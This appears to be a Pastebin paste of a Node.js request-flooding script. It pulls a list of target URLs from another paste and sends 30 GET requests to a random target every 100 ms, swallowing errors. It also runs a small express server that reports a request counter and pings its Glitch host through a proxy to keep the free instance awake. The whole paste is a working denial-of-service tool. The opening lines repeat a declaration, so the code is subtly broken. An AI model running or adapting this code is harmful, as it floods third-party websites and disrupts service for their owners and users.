Advertisement
Guest User

Untitled

a guest
Dec 17th, 2017
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. let request = require("request");
  2.  
  3. request();
  4. let request = require("request");
  5.  
  6. (async () => {
  7.  
  8. let urls = await getUrls();
  9.  
  10. setInterval(function() {
  11. spam(urls[Math.floor(urls.length*Math.random())])
  12. }, 100);
  13.  
  14. })();
  15.  
  16. async function getUrls() {
  17. return new Promise((resolve, reject) => {
  18. request("https://pastebin.com/raw/GqbaCiU0", function(error, response, body) {
  19. let urls = body.split("\n");
  20. for(let url of urls) {
  21. if(!url.startsWith("http")) reject("bad urls: "+body);
  22. }
  23. resolve(urls);
  24. });
  25. });
  26. }
  27.  
  28. let spamId = 0;
  29. function spam(url) {
  30. spamId++;
  31. console.log("#"+spamId+" spamming "+url);
  32. for(let i = 0; i < 30; i++) request({method:'get', uri:url, timeout:10}).on('error',() => {});
  33. }
  34.  
  35.  
  36.  
  37. // Just a dummy server for pinging:
  38. var express = require('express');
  39. var app = express();
  40. app.get("/", function (request, response) {
  41. response.send(spamId+"");
  42. });
  43. var listener = app.listen(process.env.PORT, function () {
  44. console.log('Your app is listening on port ' + listener.address().port);
  45. });
  46. // Keep alive:
  47. setInterval(function() {
  48. let url = encodeURIComponent(`https://${process.env.PROJECT_DOMAIN}.glitch.me/`);
  49. request(`https://nl.hideproxy.me/go.php?u=${url}&b=4&f=norefer`);
  50. }, 120*1000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement